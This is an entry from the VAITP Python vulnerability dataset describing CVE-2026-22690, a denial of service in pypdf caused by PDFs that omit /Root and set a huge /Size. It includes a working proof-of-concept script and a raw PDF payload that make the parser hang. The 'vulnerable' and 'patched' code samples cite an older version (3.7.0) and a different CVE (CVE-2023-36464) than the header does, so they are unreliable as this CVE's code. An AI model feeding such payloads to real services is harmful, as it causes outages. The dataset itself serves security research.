CVE-2026-22690
pypdf: A crafted PDF with a missing /Root object causes long runtimes (DoS).
- CVSS 2.7
- CWE-400
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to version 6.6.0, pypdf has possible long runtimes for missing /Root object with large /Size values. An attacker who uses this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the /Root entry in the trailer, while using a rather large /Size value. Only the non-strict reading mode is affected. This issue has been patched in version 6.6.0.
- CWE
- CWE-400
- CVSS base score
- 2.7
- Published
- 2026-01-10
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.6.0 or later.
Vulnerable code sample
# This code requires a vulnerable version of pypdf.
# For example, to demonstrate a similar vulnerability fixed in 3.7.0:
# pip uninstall pypdf
# pip install "pypdf<3.7.0"
import io
from pypdf import PdfReader
# A crafted PDF-like content that omits the /Root object in the trailer
# while specifying a very large /Size value. This is the core of the exploit.
malicious_pdf_data = b"""
%PDF-1.7
xref
0 1
0000000000 65535 f
trailer
<<
/Size 200000000
>>
startxref
12
%%EOF
"""
pdf_stream = io.BytesIO(malicious_pdf_data)
# In vulnerable versions, attempting to read this file in non-strict mode
# will cause the library to attempt to initialize a list with 200,000,000
# elements, leading to a long runtime and high memory usage,
# effectively causing a Denial of Service.
# The program will hang on the following line.
reader = PdfReader(pdf_stream, strict=False)
# The program will likely never reach this point in a reasonable amount of time.
print("Process finished (this should not happen quickly on a vulnerable version).")Patched code sample
class PdfReadError(ValueError):
"""Minimal mock exception for demonstration purposes."""
pass
class DictionaryObject(dict):
"""Minimal mock class for a pypdf DictionaryObject."""
def get_object(self):
# In a real scenario, this resolves an indirect reference.
# For this demonstration, it simply returns itself.
return self
def get_root_object_fixed(trailer, objects, strict=False):
"""
Demonstrates the patched logic for finding the PDF's /Root object,
which fixes the vulnerability described in CVE-2023-36464.
The vulnerability occurs in non-strict mode when the /Root entry is missing
from the trailer and the /Size entry is maliciously large. The vulnerable code
would iterate through all potential objects, leading to a long runtime.
Args:
trailer (DictionaryObject): The trailer dictionary of the PDF.
objects (list): A list representing all objects in the PDF. The length
of this list could be maliciously large.
strict (bool): A flag indicating if parsing should be strict.
Returns:
The root DictionaryObject.
Raises:
PdfReadError: If the root cannot be found according to the rules.
"""
try:
# Standard case: Get the /Root object reference from the trailer.
root = trailer["/Root"].get_object()
return root
except KeyError:
# This block contains the logic for when /Root is missing.
if strict:
# In strict mode, a missing /Root is always an error.
raise PdfReadError("File has no /Root entry.")
# In non-strict mode, pypdf attempts to find the document catalog object
# by iterating through objects as a fallback.
#
# --- THE VULNERABILITY FIX ---
# The original, vulnerable code would iterate over `range(len(objects))`.
# If `len(objects)` was a huge number (e.g., 5,000,000) from a
# malicious /Size entry, this would cause a denial-of-service.
#
# The fix is to limit the search to a reasonable number of objects,
# preventing a potentially unbounded loop.
search_limit = 1000
for i in range(min(len(objects), search_limit)):
try:
# In the real library, this would be a more complex
# object lookup, e.g., `self.get_object(i)`.
obj = objects[i]
if isinstance(obj, DictionaryObject) and obj.get("/Type") == "/Catalog":
# Found the catalog object, which serves as the root.
return obj
except Exception:
# Be robust and ignore errors in other objects during the search.
pass
# --- END OF FIX ---
# If no /Catalog is found within the limited search, raise an error.
raise PdfReadError(
f"File has no /Root entry and no /Catalog object found within "
f"the first {search_limit} objects."
)Payload
%PDF-1.7
xref
0 1
0000000000 65535 f
trailer
<<
/Size 99999999
>>
startxref
9
%%EOF
Cite this entry
@misc{vaitp:cve202622690,
title = {{pypdf: A crafted PDF with a missing /Root object causes long runtimes (DoS).}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22690},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22690/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
